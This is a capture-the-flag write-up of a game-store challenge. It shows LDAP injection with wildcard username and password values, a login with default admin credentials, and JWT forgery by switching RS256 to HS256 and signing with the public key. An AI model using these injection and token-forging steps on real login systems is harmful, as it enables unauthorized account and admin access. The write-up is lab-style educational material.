This chall is an online video game store. Looking at their about page:

Different types of connection... word of passage... I mostly played Hearthstone on my phone during my french classes so this might be a hurdle. What matters is that we recognize the "LDAP" mention.

Inspecting the login page source:

<form action="login_handler.php" method="post">
    <label for="username">Username:</label><br>
    <input type="text" id="username" name="username" required><br><br>
    <label for="password">Password:</label><br>
    <input type="password" id="password" name="password" required><br><br>
    <input type="hidden" name="login_type" value="classic">
    <!-- <label for="login_type">Login Type:</label><br>
    <select id="login_type" name="login_type" required>
        <option value="classic">Classic Login</option>
        Others login types will be added later
    </select><br><br> -->
    <input type="submit" value="Login">
</form>

Indeed, submitting the form as-is sends our payload to /login_classic.php . Let's completely disregard that and probe /login_ldap.php a little. We already know that this is a thing.

Try the most basic LDAP Injection we can imagine: username=*&password=* . This actually yields a nice little JWT token:

{
  "iss": "jwt-mania-part-2",
  "aud": "users",
  "iat": 1769780180,
  "exp": 1769783780,
  "sub": "1546",
  "role": "user",
  "username": "P4l4d1n_1mp3r14l"
}

But that is just a regular user. Try something more specific: username=*admin*&password=*

{
  "iss": "jwt-mania-part-2",
  "aud": "users",
  "iat": 1769780315,
  "exp": 1769783915,
  "sub": "1546",
  "role": "admin",
  "username": "adminldaptest"
}

There we go. The admin profile leaks a link to the admin panel: /admin/adafg541/21232f297a57a5a743894a0e4a801fc3login.php. This panel wants new credentials to access it. Try admin/admin and get another token:

{
  "iss": "jwt-mania-part-2",
  "aud": "users",
  "iat": 1769780615,
  "exp": 1769784215,
  "sub": "666",
  "role": "superadmin",
  "username": "admin",
  "kid": "admin/adafg541/key/public.pem"
}

Unlike the others, this token is signed with RS256, so a public+private key pair. The public key is freely downloadable from the "kid" path. Let's check the admin panel:

Nothing "super" about "superadmin" it seems. It wants us to prove that we can forge the token. First thing that comes to mind when I see RS256 is:

1. Go to token.dev and paste the valid token

2. Change the algorithm to HS256

3. Change claims to whatever you want

4. Sign it with the public key

And as expected, the JWT validator got confused and let us in with a different algorithm. Since we know the roles we need, iterate over them until eventually:

Ce challenge est bien.